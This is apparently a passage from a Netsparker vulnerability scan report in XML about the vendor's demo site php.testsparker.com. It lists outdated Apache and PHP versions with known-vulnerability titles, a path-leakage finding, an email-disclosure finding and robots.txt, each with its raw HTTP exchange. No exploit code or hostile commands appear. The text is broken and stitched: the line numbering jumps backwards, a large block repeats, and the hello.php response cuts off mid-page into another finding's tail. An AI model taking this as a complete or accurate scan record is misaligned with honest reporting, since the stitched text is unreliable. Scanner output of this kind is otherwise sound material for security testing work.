6630 <title>Apache Multiple XSS Vulnerability</title>
6631 <severity>Low</severity>
6632 </knownvulnerability>
6633 <knownvulnerability>
6634 <title>Apache Code Execution Vulnerability</title>
6635 <severity>Low</severity>
6636 </knownvulnerability>
6637 <knownvulnerability>
6638 <title>Apache Denial of Service Vulnerabillity</title>
6639 <severity>Low</severity>
6640 </knownvulnerability>
6641 </knownvulnerabilities>
6642 </vulnerability>
6643 <vulnerability confirmed="False">
6644 <url>http://php.testsparker.com/</url>
6645 <type>PhpOutOfDate</type>
6646 <severity>Information</severity>
6647 <certainty>90</certainty>
6648
6649 <rawrequest><![CDATA[GET / HTTP/1.1
6650 Cache-Control: no-cache
6651 Connection: Keep-Alive
6652 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6653 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6654 X-Scanner: Netsparker
6655 Accept-Language: en-us,en;q=0.5
6656 Host: php.testsparker.com
6657 Accept-Encoding: gzip, deflate
6658
6659 ]]></rawrequest>
6660 <rawresponse><![CDATA[HTTP/1.1 200 OK
6661 Connection: Keep-Alive
6662 Date: Fri, 29 Nov 2013 11:25:33 GMT
6663 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6664 X-Powered-By: PHP/5.2.6
6665 Keep-Alive: timeout=5, max=100
6666 Content-Length: 144
6667 Content-Type: text/html
6668
6669 <html>
6670 <HEAD>
6671 <SCRIPT language="JavaScript">
6672 <!--
6673 window.location="process.php?file=Generics/index.nsp";
6674 //-->
6675 </SCRIPT>
6676 </HEAD>
6677 </html>]]></rawresponse>
6678 <extrainformation>
6679 <info name="Version"><![CDATA[5.2.6]]></info>
6680 <info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
6681 </extrainformation>
6682
6683 <classification>
6684 <OWASP>A6</OWASP>
6685 <WASC></WASC>
6686 <CWE></CWE>
6687 <CAPEC>310</CAPEC>
6688 <PCI>6.1</PCI>
6689 <PCI2>6.1</PCI2>
6690 </classification>
6691
6692 <knownvulnerabilities>
6693 <knownvulnerability>
6694 <title>PHP 'chdir()' and 'ftok()' 'safe_mode' Multiple Security Bypass Vulnerabilities</title>
6695 <severity>Medium</severity>
6696 </knownvulnerability>
6697 <knownvulnerability>
6698 <title>PHP 'imageRotate()' Uninitialized Memory Information Disclosure Vulnerability</title>
6699 <severity>Important</severity>
6700 </knownvulnerability>
6701 <knownvulnerability>
6702 <title>PHP SAPI 'php_getuid()' Safe Mode Restriction-Bypass Vulnerability</title>
6703 <severity>Low</severity>
6704 </knownvulnerability>
6705 <knownvulnerability>
6706 <title>PHP 'mbstring' Extension Buffer Overflow Vulnerability</title>
6707 <severity>Low</severity>
6708 </knownvulnerability>
6709 <knownvulnerability>
6710 <title>PHP 'php/ext/xml/xml.c' Integer Overflow Vulnerability</title>
6711 <severity>Medium</severity>
6712 </knownvulnerability>
6713 <knownvulnerability>
6714 <title>PHP 'php_filter_validate_email()' Function Denial of Service Vulnerability</title>
6715 <severity>Important</severity>
6716 </knownvulnerability>
6717 <knownvulnerability>
6718 <title>PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability</title>
6719 <severity>Medium</severity>
6720 </knownvulnerability>
6721 <knownvulnerability>
6722 <title>PHP Calendar Extension 'SdnToJulian()' Integer Overflow Vulnerability</title>
6723 <severity>Important</severity>
6724 </knownvulnerability>
6725 <knownvulnerability>
6726 <title>PHP 'steam.c' and 'dirstream.c' Multiple Format String Vulnerabilities</title>
6727 <severity>Medium</severity>
6728 </knownvulnerability>
6729 <knownvulnerability>
6730 <title>PHP 'substr_replace()' Function Memory Corruption Vulnerability</title>
6731 <severity>Low</severity>
6732 </knownvulnerability>
6733 <knownvulnerability>
6734 <title>PHP libzip '_zip_name_locate()' NULL Pointer Dereference Denial Of Service Vulnerability</title>
6735 <severity>Important</severity>
6736 </knownvulnerability>
6737 <knownvulnerability>
6738 <title>PHP 'phar/phar_object.c' Format String Vulnerability</title>
6739 <severity>Low</severity>
6740 </knownvulnerability>
6741 <knownvulnerability>
6742 <title>PHP 'shmop_read()' Remote Integer Overflow Vulnerability</title>
6743 <severity>Low</severity>
6744 </knownvulnerability>
6745 <knownvulnerability>
6746 <title>PHP Stream Component Remote Denial of Service Vulnerability</title>
6747 <severity>Important</severity>
6748 </knownvulnerability>
6749 <knownvulnerability>
6750 <title>PHP 'Zip' Extension 'zip_fread()' Function Denial of Service Vulnerability</title>
6751 <severity>Important</severity>
6752 </knownvulnerability>
6753 <knownvulnerability>
6754 <title>PHP 'OpenSSL' Extension Multiple Denial of Service Vulnerabilities</title>
6755 <severity>Important</severity>
6756 </knownvulnerability>
6757 <knownvulnerability>
6758 <title>PHP Versions Prior to 5.3.7 Multiple Security Vulnerabilities</title>
6759 <severity>Medium</severity>
6760 </knownvulnerability>
6761 <knownvulnerability>
6762 <title>PHP 'ZipArchive::addGlob' and 'ZipArchive::addPattern' Denial Of Service Vulnerabilities</title>
6763 <severity>Important</severity>
6764 </knownvulnerability>
6765 <knownvulnerability>
6766 <title>PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability</title>
6767 <severity>Low</severity>
6768 </knownvulnerability>
6769 <knownvulnerability>
6770 <title>PHP 'SplObjectStorage' Unserializer Arbitrary Code Execution Vulnerability</title>
6771 <severity>Low</severity>
6772 </knownvulnerability>
6773 <knownvulnerability>
6774 <title>PHP 'ext/imap/php_imap.c' Use After Free Denial of Service Vulnerability</title>
6775 <severity>Important</severity>
6776 </knownvulnerability>
6777 <knownvulnerability>
6778 <title>PHP ZipArchive::getArchiveComment() NULL Pointer Dereference Denial Of Service Vulnerability</title>
6779 <severity>Important</severity>
6780 </knownvulnerability>
6781 <knownvulnerability>
6782 <title>PHP 'zend_strtod()' Function Floating-Point Value Denial of Service Vulnerability</title>
6783 <severity>Important</severity>
6784 </knownvulnerability>
6785 <knownvulnerability>
6786 <title>PHP Multiple NULL Pointer Dereference Denial Of Service Vulnerabilities</title>
6787 <severity>Important</severity>
6788 </knownvulnerability>
6789 <knownvulnerability>
6790 <title>PHP 'crypt' Function Buffer Overflow Vulnerability</title>
6791 <severity>Low</severity>
6792 </knownvulnerability>
6793 <knownvulnerability>
6794 <title>PHP 'error_log' Function Denial of Service Vulnerability</title>
6795 <severity>Important</severity>
6796 </knownvulnerability>
6797 <knownvulnerability>
6798 <title>PHP 'var_export' Function Remote Information Disclosure Vulnerability </title>
6799 <severity>Important</severity>
6800 </knownvulnerability>
6801 <knownvulnerability>
6802 <title>PHP 'strrchr' Function Information Disclosure Vulnerability</title>
6803 <severity>Important</severity>
6804 </knownvulnerability>
6805 <knownvulnerability>
6806 <title>PHP 'fnmatch' Function Stack Consumption Vulnerability</title>
6807 <severity>Important</severity>
6808 </knownvulnerability>
6809 <knownvulnerability>
6810 <title>PHP Zend Engine Use-after-free Heap Corruption Vulnerability</title>
6811 <severity>Medium</severity>
6812 </knownvulnerability>
6813 <knownvulnerability>
6814 <title>PHP GD Extension 'imagepstext()' Function Stack Buffer Overflow Vulnerability</title>
6815 <severity>Medium</severity>
6816 </knownvulnerability>
6817 <knownvulnerability>
6818 <title>PHP 'EXTR_OVERWRITE' Security Bypass Vulnerability</title>
6819 <severity>Important</severity>
6820 </knownvulnerability>
6821 <knownvulnerability>
6822 <title>PHP 'mt_rand' Function Integer Overflow Vulnerability</title>
6823 <severity>Important</severity>
6824 </knownvulnerability>
6825 <knownvulnerability>
6826 <title>PHP 'iconv' Module 'iconv_mime_decode_headers()' Function Security-Bypass Vulnerability</title>
6827 <severity>Important</severity>
6828 </knownvulnerability>
6829 <knownvulnerability>
6830 <title>PHP LCG Entropy Security Vulnerability</title>
6831 <severity>Medium</severity>
6832 </knownvulnerability>
6833 <knownvulnerability>
6834 <title>PHP 'session_save_path()' safe_mode Restriction Bypass Vulnerability</title>
6835 <severity>Important</severity>
6836 </knownvulnerability>
6837 <knownvulnerability>
6838 <title>PHP 'sqlite_single_query()' and 'sqlite_array_query()' Arbitrary Code Execution Vulnerabilities</title>
6839 <severity>Low</severity>
6840 </knownvulnerability>
6841 <knownvulnerability>
6842 <title>PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability</title>
6843 <severity>Low</severity>
6844 </knownvulnerability>
6845 <knownvulnerability>
6846 <title>PHP Unrestricted Temporary File Creation Vulnerability</title>
6847 <severity>Important</severity>
6848 </knownvulnerability>
6849 <knownvulnerability>
6850 <title>PHP 'posix_mkfifo()' 'open_basedir' Bypass Vulnerability</title>
6851 <severity>Medium</severity>
6852 </knownvulnerability>
6853 <knownvulnerability>
6854 <title>PHP 'ini_restore()' Memory Information Disclosure Vulnerability</title>
6855 <severity>Medium</severity>
6856 </knownvulnerability>
6857 <knownvulnerability>
6858 <title>PHP Web Form Hash Collision Denial Of Service Vulnerability</title>
6859 <severity>Medium</severity>
6860 </knownvulnerability>
6861 <knownvulnerability>
6862 <title>PHP 'phar_parse_tarfile' Integer Overflow Vulnerability</title>
6863 <severity>Important</severity>
6864 </knownvulnerability>
6865 <knownvulnerability>
6866 <title>PHP '_php_stream_scandir' Overflow Vulnerability</title>
6867 <severity>Important</severity>
6868 </knownvulnerability>
6869 <knownvulnerability>
6870 <title>PHP 'com_print_typeinfo' Buffer Overflow Vulnerability</title>
6871 <severity>Important</severity>
6872 </knownvulnerability>
6873 <knownvulnerability>
6874 <title>PHP 'php-cgi' Command Line Argument Injection Vulnerability</title>
6875 <severity>Important</severity>
6876 </knownvulnerability>
6877 <knownvulnerability>
6878 <title>PHP File Upload Denial of Service Vulnerability</title>
6879 <severity>Important</severity>
6880 </knownvulnerability>
6881 <knownvulnerability>
6882 <title>PHP 'magic_quotes_gpc' Bypass Vulnerability</title>
6883 <severity>Low</severity>
6884 </knownvulnerability>
6885 <knownvulnerability>
6886 <title>PHP Multiple Remote Vulnerabilities</title>
6887 <severity>Important</severity>
6888 </knownvulnerability>
6889 <knownvulnerability>
6890 <title>PHP Multiple Remote Vulnerabilities in SOAP Parser</title>
6891 <severity>Low</severity>
6892 </knownvulnerability>
6893 <knownvulnerability>
6894 <title>PHP Heap Based Buffer Overflow Vulnerability</title>
6895 <severity>Low</severity>
6896 </knownvulnerability>
6897 <knownvulnerability>
6898 <title>PHP Integer Overflow and Denial of Service Vulnerability</title>
6899 <severity>Low</severity>
6900 </knownvulnerability>
6901 </knownvulnerabilities>
6902 </vulnerability>
6903 <vulnerability confirmed="False">
6904 <url>http://php.testsparker.com/hello.php?name=Visitor</url>
6905 <type>PossibleInternalWindowsPathLeakage</type>
6906 <severity>Information</severity>
6907 <certainty>75</certainty>
6908
6909 <rawrequest><![CDATA[GET /hello.php?name=Visitor HTTP/1.1
6910 Cache-Control: no-cache
6911 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6912 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6913 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6914 X-Scanner: Netsparker
6915 Accept-Language: en-us,en;q=0.5
6916 Host: php.testsparker.com
6917 Accept-Encoding: gzip, deflate
6918
6919 ]]></rawrequest>
6920 <rawresponse><![CDATA[HTTP/1.1 200 OK
6921 Date: Fri, 29 Nov 2013 11:25:50 GMT
6922 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6923 X-Powered-By: PHP/5.2.6
6924 Content-Length: 2874
6925 Content-Type: text/html
6926
6927
6928 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6929 <html xmlns="http://www.w3.org/1999/xhtml">
6930 <head>
6931 <meta name="keywords" content="" />
6932 <meta name="description" content="" />
6933 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6934 <title>Netsparker Test Web Site - PHP</title>
6935 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6936 </head><body>
6937 <div id="wrapper">
6938
6939 <div id="menu">
6940 <ul>
6941 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6942 <li><a href="hello.php?name=Visitor">Hello</a></li>
6943 <li><a href="products.php?pro=url">Products</a></li>
6944 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6945 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6946 <li><a href="auth/">Login</a></li>
6947 </ul>
6948 </div>
6949 <!-- end #menu -->
6950 <div id="header">
6951
6952 </div>
6953 <!-- end #header --> <div id="page">
6954 <div id="page-bgtop">
6955 <div id="page-bgbtm">
6956 <div id="content">
6957 <div class="post">
6958 <h1 class="title"><a href="#">Hello Service </a></h1>
6959 <p>
6283 ]]></rawresponse>
6284 <extrainformation>
6285 </extrainformation>
6286
6287 <classification>
6288 <OWASP>A6</OWASP>
6289 <WASC>16</WASC>
6290 <CWE>548</CWE>
6291 <CAPEC>127</CAPEC>
6292 <PCI>6.5.6</PCI>
6293 <PCI2></PCI2>
6294 </classification>
6295
6296 </vulnerability>
6297 <vulnerability confirmed="False">
6298 <url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
6299 <type>EmailDisclosure</type>
6300 <severity>Information</severity>
6301 <certainty>95</certainty>
6302
6303 <rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
6304 Cache-Control: no-cache
6305 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6306 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6307 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6308 X-Scanner: Netsparker
6309 Accept-Language: en-us,en;q=0.5
6310 Host: php.testsparker.com
6311 Accept-Encoding: gzip, deflate
6312
6313 ]]></rawrequest>
6314 <rawresponse><![CDATA[HTTP/1.1 200 OK
6315 Date: Fri, 29 Nov 2013 11:25:52 GMT
6316 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6317 X-Powered-By: PHP/5.2.6
6318 Content-Length: 3363
6319 Content-Type: text/html
6320
6321
6322 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6323 <html xmlns="http://www.w3.org/1999/xhtml">
6324 <head>
6325 <meta name="keywords" content="" />
6326 <meta name="description" content="" />
6327 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6328 <title>Netsparker Test Web Site - PHP</title>
6329 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6330 </head><body>
6331 <div id="wrapper">
6332
6333 <div id="menu">
6334 <ul>
6335 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6336 <li><a href="hello.php?name=Visitor">Hello</a></li>
6337 <li><a href="products.php?pro=url">Products</a></li>
6338 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6339 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6340 <li><a href="auth/">Login</a></li>
6341 </ul>
6342 </div>
6343 <!-- end #menu -->
6344 <div id="header">
6345
6346 </div>
6347 <!-- end #header -->
6348 <div id="page">
6349 <div id="page-bgtop">
6350 <div id="page-bgbtm">
6351 <div id="content">
6352 <div class="post">
6353
6354
6355
6356 <div class="entry">
6357 <h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
6358 <p>
6359
6360 <iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
6361 style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
6362 </iframe>
6363
6364
6365
6366
6367 <strong><br />Test&Demonstration Site Ltd
6368 <br />(reg. no. 123456)</strong><br />
6369 <p>
6370 Green House,
6371 3478 Stone QX
6372 Dos Tringulas
6373 EK7 AP0<br />
6374 USA<br />
6375 </p>
6376
6377 <p>
6378 <span>Tel: +44 123 456 7890</span><br />
6379 <span>Fax: +44 123 456 7891</span></p>
6380 <p>
6381
6382 <p>
6383 E-mail: [email protected]</b></a></p>
6384 </p>
6385
6386 </div>
6387 </div>
6388 <div style="clear: both;">&nbsp;</div>
6389 </div>
6390 <!-- end #content -->
6391
6392 <div id="sidebar">
6393 <ul>
6394 <li>
6395 <div id="search" >
6396 <form method="get" action="artist.php">
6397 <div>
6398 <input type="text" name="s" id="search-text" value="" />
6399 <input type="submit" id="search-submit" value="GO" />
6400 </div>
6401 </form>
6402
6403 </div>
6404 <div style="clear: both;">&nbsp;</div>
6405 </li>
6406 <li>
6407 <h2>Tags</h2>
6408 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6409 </li>
6410 <li>
6411 <h2>Inner Pages</h2>
6412 <ul>
6413 <li><a href="artist.php?id=test">Artist Search</a></li>
6414 <li><a href="nslookup.php">Lookup Service</a></li>
6415 </ul>
6416 </li>
6417 <li>
6418 <h2>Links</h2>
6419 <ul>
6420 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
6421 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
6422 </ul>
6423 </li>
6424 </ul>
6425 </div> <!-- end #sidebar -->
6426 <div style="clear: both;">&nbsp;</div>
6427 </div>
6428 </div>
6429 </div> <!-- process.php load pages from path of the website. -->
6430 <!-- FIXME: File / directory permissions -->
6431 <!-- end #page -->
6432 </div>
6433
6434 <div id="footer">
6435 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
6436 </div> <!-- end #footer -->
6437 </body>
6438 </html>
6439 ]]></rawresponse>
6440 <extrainformation>
6441 <info name="Found E-mails"><![CDATA[[email protected]]]></info>
6442 </extrainformation>
6443
6444 <classification>
6445 <OWASP></OWASP>
6446 <WASC>13</WASC>
6447 <CWE>200</CWE>
6448 <CAPEC>118</CAPEC>
6449 <PCI>6.5.6</PCI>
6450 <PCI2></PCI2>
6451 </classification>
6452
6453 </vulnerability>
6454 <vulnerability confirmed="True">
6455 <url>http://php.testsparker.com/robots.txt</url>
6456 <type>RobotsIdentified</type>
6457 <severity>Information</severity>
6458 <certainty>100</certainty>
6459
6460 <rawrequest><![CDATA[GET /robots.txt HTTP/1.1
6461 Cache-Control: no-cache
6462 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6463 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6464 X-Scanner: Netsparker
6465 Accept-Language: en-us,en;q=0.5
6466 Host: php.testsparker.com
6467 Accept-Encoding: gzip, deflate
6468
6469 ]]></rawrequest>
6470 <rawresponse><![CDATA[HTTP/1.1 200 OK
6471 Date: Fri, 29 Nov 2013 11:25:41 GMT
6472 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6473 ETag: "30000000199ef-1a-49ca232cb73c3"
6474 Accept-Ranges: bytes
6475 Content-Length: 26
6476 Content-Type: text/plain
6477 Last-Modified: Sat, 19 Feb 2011 12:59:17 GMT
6478
6479 User-agent: *
6480 Disallow: /]]></rawresponse>
6481 <extrainformation>
6482 <info name="Interesting Robots.txt Entries"><![CDATA[Disallow: /]]></info>
6483 </extrainformation>
6484
6485
6486 </vulnerability>
6487 <vulnerability confirmed="False">
6488 <url>http://php.testsparker.com/</url>
6489 <type>ApacheOutOfDate</type>
6490 <severity>Information</severity>
6491 <certainty>90</certainty>
6492
6493 <rawrequest><![CDATA[GET / HTTP/1.1
6494 Cache-Control: no-cache
6495 Connection: Keep-Alive
6496 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6497 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6498 X-Scanner: Netsparker
6499 Accept-Language: en-us,en;q=0.5
6500 Host: php.testsparker.com
6501 Accept-Encoding: gzip, deflate
6502
6503 ]]></rawrequest>
6504 <rawresponse><![CDATA[HTTP/1.1 200 OK
6505 Connection: Keep-Alive
6506 Date: Fri, 29 Nov 2013 11:25:33 GMT
6507 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6508 X-Powered-By: PHP/5.2.6
6509 Keep-Alive: timeout=5, max=100
6510 Content-Length: 144
6511 Content-Type: text/html
6512
6513 <html>
6514 <HEAD>
6515 <SCRIPT language="JavaScript">
6516 <!--
6517 window.location="process.php?file=Generics/index.nsp";
6518 //-->
6519 </SCRIPT>
6520 </HEAD>
6521 </html>]]></rawresponse>
6522 <extrainformation>
6523 <info name="Version"><![CDATA[2.2.8]]></info>
6524 <info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
6525 </extrainformation>
6526
6527 <classification>
6528 <OWASP>A6</OWASP>
6529 <WASC></WASC>
6530 <CWE></CWE>
6531 <CAPEC>310</CAPEC>
6532 <PCI>6.1</PCI>
6533 <PCI2>6.1</PCI2>
6534 </classification>
6535
6536 <knownvulnerabilities>
6537 <knownvulnerability>
6538 <title>Apache mod_proxy_balancer CSRF Vulnerability</title>
6539 <severity>Low</severity>
6540 </knownvulnerability>
6541 <knownvulnerability>
6542 <title>Apache mod_proxy_http Interim Response Denial of Service Vulnerability </title>
6543 <severity>Medium</severity>
6544 </knownvulnerability>
6545 <knownvulnerability>
6546 <title>Apache mod_proxy_ftp Wildcard Characters Cross-Site Scripting Vulnerability </title>
6547 <severity>Low</severity>
6548 </knownvulnerability>
6549 <knownvulnerability>
6550 <title>Apache mod_proxy Remote Denial Of Service Vulnerability</title>
6551 <severity>Medium</severity>
6552 </knownvulnerability>
6553 <knownvulnerability>
6554 <title>Apache HTTP Server mod_deflate Denial of Service Vulnerability </title>
6555 <severity>Medium</severity>
6556 </knownvulnerability>
6557 <knownvulnerability>
6558 <title>Apache APR-util apr_brigade_vprintf Off By One Vulnerability</title>
6559 <severity>Low</severity>
6560 </knownvulnerability>
6561 <knownvulnerability>
6562 <title>Apache APR-util xml/apr_xml.c Denial of Service Vulnerability</title>
6563 <severity>Low</severity>
6564 </knownvulnerability>
6565 <knownvulnerability>
6566 <title>Apache APR-util apr_strmatch_precompile() Integer Underflow Vulnerability</title>
6567 <severity>Medium</severity>
6568 </knownvulnerability>
6569 <knownvulnerability>
6570 <title>Apache APR and APR-util Multiple Integer Overflow Vulnerabilities</title>
6571 <severity>Low</severity>
6572 </knownvulnerability>
6573 <knownvulnerability>
6574 <title>Apache mod_proxy_ftp Module Insufficient Input Validation Denial Of Service Vulnerability </title>
6575 <severity>Medium</severity>
6576 </knownvulnerability>
6577 <knownvulnerability>
6578 <title>Apache mod_proxy_ftp Remote Command Injection Vulnerability </title>
6579 <severity>Low</severity>
6580 </knownvulnerability>
6581 <knownvulnerability>
6582 <title>Apache mod_isapi Memory Corruption Vulnerability </title>
6583 <severity>Low</severity>
6584 </knownvulnerability>
6585 <knownvulnerability>
6586 <title>Apache 'mod_isapi' Memory Corruption Vulnerability</title>
6587 <severity>Low</severity>
6588 </knownvulnerability>
6589 <knownvulnerability>
6590 <title>Apache mod_proxy_ajp Module Incoming Request Body Denial Of Service Vulnerability</title>
6591 <severity>Medium</severity>
6592 </knownvulnerability>
6593 <knownvulnerability>
6594 <title>Apache mod_cache and mod_dav Request Handling Denial of Service Vulnerability </title>
6595 <severity>Medium</severity>
6596 </knownvulnerability>
6597 <knownvulnerability>
6598 <title>Apache APR-util apr_brigade_split_line() Denial of Service Vulnerability </title>
6599 <severity>Low</severity>
6600 </knownvulnerability>
6601 <knownvulnerability>
6602 <title>Apache APR apr_fnmatch() Denial of Service Vulnerability</title>
6603 <severity>Medium</severity>
6604 </knownvulnerability>
6605 <knownvulnerability>
6606 <title>Apache HTTP Server CVE-2011-3192 Denial Of Service Vulnerability</title>
6607 <severity>Medium</severity>
6608 </knownvulnerability>
6609 <knownvulnerability>
6610 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6611 <severity>Important</severity>
6612 </knownvulnerability>
6613 <knownvulnerability>
6614 <title>Apache HTTP Server Scoreboard Local Security Bypass Vulnerability</title>
6615 <severity>Important</severity>
6616 </knownvulnerability>
6617 <knownvulnerability>
6618 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6619 <severity>Important</severity>
6620 </knownvulnerability>
6621 <knownvulnerability>
6622 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6623 <severity>Important</severity>
6624 </knownvulnerability>
6625 <knownvulnerability>
6626 <title>Apache HTTP Server CVE-2011-3348 Denial Of Service Vulnerability</title>
6627 <severity>Important</severity>
6628 </knownvulnerability>
6629 <knownvulnerability>
6630 <title>Apache Multiple XSS Vulnerability</title>
6631 <severity>Low</severity>
6632 </knownvulnerability>
6633 <knownvulnerability>
6634 <title>Apache Code Execution Vulnerability</title>
6635 <severity>Low</severity>
6636 </knownvulnerability>
6637 <knownvulnerability>
6638 <title>Apache Denial of Service Vulnerabillity</title>
6639 <severity>Low</severity>
6640 </knownvulnerability>
6641 </knownvulnerabilities>
6642 </vulnerability>
6643 <vulnerability confirmed="False">
6644 <url>http://php.testsparker.com/</url>
6645 <type>PhpOutOfDate</type>
6646 <severity>Information</severity>
6647 <certainty>90</certainty>
6648
6649 <rawrequest><![CDATA[GET / HTTP/1.1
6650 Cache-Control: no-cache
6651 Connection: Keep-Alive
6652 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6653 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6654 X-Scanner: Netsparker
6655 Accept-Language: en-us,en;q=0.5
6656 Host: php.testsparker.com
6657 Accept-Encoding: gzip, deflate
6658
6659 ]]></rawrequest>
6660 <rawresponse><![CDATA[HTTP/1.1 200 OK
6661 Connection: Keep-Alive
6662 Date: Fri, 29 Nov 2013 11:25:33 GMT
6663 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6664 X-Powered-By: PHP/5.2.6
6665 Keep-Alive: timeout=5, max=100
6666 Content-Length: 144
6667 Content-Type: text/html
6668
6669 <html>
6670 <HEAD>
6671 <SCRIPT language="JavaScript">
6672 <!--
6673 window.location="process.php?file=Generics/index.nsp";
6674 //-->
6675 </SCRIPT>
6676 </HEAD>
6677 </html>]]></rawresponse>
6678 <extrainformation>
6679 <info name="Version"><![CDATA[5.2.6]]></info>
6680 <info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
6681 </extrainformation>
6682
6683 <classification>
6684 <OWASP>A6</OWASP>
6685 <WASC></WASC>
6686 <CWE></CWE>
6687 <CAPEC>310</CAPEC>
6688 <PCI>6.1</PCI>
6689 <PCI2>6.1</PCI2>
6690 </classification>
6691
6692 <knownvulnerabilities>
6693 <knownvulnerability>
6694 <title>PHP 'chdir()' and 'ftok()' 'safe_mode' Multiple Security Bypass Vulnerabilities</title>
6695 <severity>Medium</severity>
6696 </knownvulnerability>
6697 <knownvulnerability>
6698 <title>PHP 'imageRotate()' Uninitialized Memory Information Disclosure Vulnerability</title>
6699 <severity>Important</severity>
6700 </knownvulnerability>
6701 <knownvulnerability>
6702 <title>PHP SAPI 'php_getuid()' Safe Mode Restriction-Bypass Vulnerability</title>
6703 <severity>Low</severity>
6704 </knownvulnerability>
6705 <knownvulnerability>
6706 <title>PHP 'mbstring' Extension Buffer Overflow Vulnerability</title>
6707 <severity>Low</severity>
6708 </knownvulnerability>
6709 <knownvulnerability>
6710 <title>PHP 'php/ext/xml/xml.c' Integer Overflow Vulnerability</title>
6711 <severity>Medium</severity>
6712 </knownvulnerability>
6713 <knownvulnerability>
6714 <title>PHP 'php_filter_validate_email()' Function Denial of Service Vulnerability</title>
6715 <severity>Important</severity>
6716 </knownvulnerability>
6717 <knownvulnerability>
6718 <title>PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability</title>
6719 <severity>Medium</severity>
6720 </knownvulnerability>
6721 <knownvulnerability>
6722 <title>PHP Calendar Extension 'SdnToJulian()' Integer Overflow Vulnerability</title>
6723 <severity>Important</severity>
6724 </knownvulnerability>
6725 <knownvulnerability>
6726 <title>PHP 'steam.c' and 'dirstream.c' Multiple Format String Vulnerabilities</title>
6727 <severity>Medium</severity>
6728 </knownvulnerability>
6729 <knownvulnerability>
6730 <title>PHP 'substr_replace()' Function Memory Corruption Vulnerability</title>
6731 <severity>Low</severity>
6732 </knownvulnerability>
6733 <knownvulnerability>
6734 <title>PHP libzip '_zip_name_locate()' NULL Pointer Dereference Denial Of Service Vulnerability</title>
6735 <severity>Important</severity>
6736 </knownvulnerability>
6737 <knownvulnerability>
6738 <title>PHP 'phar/phar_object.c' Format String Vulnerability</title>
6739 <severity>Low</severity>
6740 </knownvulnerability>
6741 <knownvulnerability>
6742 <title>PHP 'shmop_read()' Remote Integer Overflow Vulnerability</title>
6743 <severity>Low</severity>
6744 </knownvulnerability>
6745 <knownvulnerability>
6746 <title>PHP Stream Component Remote Denial of Service Vulnerability</title>
6747 <severity>Important</severity>
6748 </knownvulnerability>
6749 <knownvulnerability>
6750 <title>PHP 'Zip' Extension 'zip_fread()' Function Denial of Service Vulnerability</title>
6751 <severity>Important</severity>
6752 </knownvulnerability>
6753 <knownvulnerability>
6754 <title>PHP 'OpenSSL' Extension Multiple Denial of Service Vulnerabilities</title>
6755 <severity>Important</severity>
6756 </knownvulnerability>
